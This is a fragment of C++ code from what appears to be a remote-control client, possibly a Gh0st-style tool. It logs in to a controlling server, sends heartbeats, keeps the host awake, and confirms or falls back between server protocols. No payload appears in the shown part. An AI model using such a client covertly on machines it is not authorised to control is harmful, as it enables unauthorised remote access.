Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
Manager->SetClientApp(&app);
Manager->SetLoginMsg(login.szStartTime + std::string("|") + std::to_string(settings.clientID));
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login))
WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200);
WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200);
do {
Manager->SendHeartbeat();
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
// 协议切换:新入口「登录被接受」后才撤销自动回退计时(ConfirmProtoSwitch 幂等)。
// IsConnected() 只代表 TCP/TLS/WS 握手完成;若新入口能建连但登录始终不被接受
// (选错后端、反代指到别的 WS 服务、服务端登录阶段丢弃),提前撤销会让 5 分钟
// 自动回退永久失效,客户端卡在错误入口反复重连。IsLoginAcked() 在收到
// CMD_MASTERSETTING 时置位——服务端只有在把本机加入在线列表后才发它。
// 不放在循环前一次判定:MasterSettings 可能比第一轮心跳晚到。
if (ClientObject->IsConnected() && ClientObject->IsLoginAcked())
ConfirmProtoSwitch(cfg);
if (assigned && time(0) > valid_to) {
app.SetProcessState(S_CLIENT_UPDATE);
settings.SetServer(ip.c_str(), port);
Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port);
}
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
Sleep(200);
}
kb->Exit(10);
SAFE_DELETE(kb);
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
BOOL b = SetEvent(app.g_hEvent);
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
SAFE_CLOSE_HANDLE(app.g_hEvent);
app.g_hEvent = NULL;
}
if (app.g_bExit == S_CLIENT_EXIT) {
CKernelManager::g_IsAppExit = 2;
Sleep(200);
}
Mprintf("StartClient end\n");
delete ClientObject;
SAFE_DELETE(Manager);
app.SetThreadRun(FALSE);
return 0;
}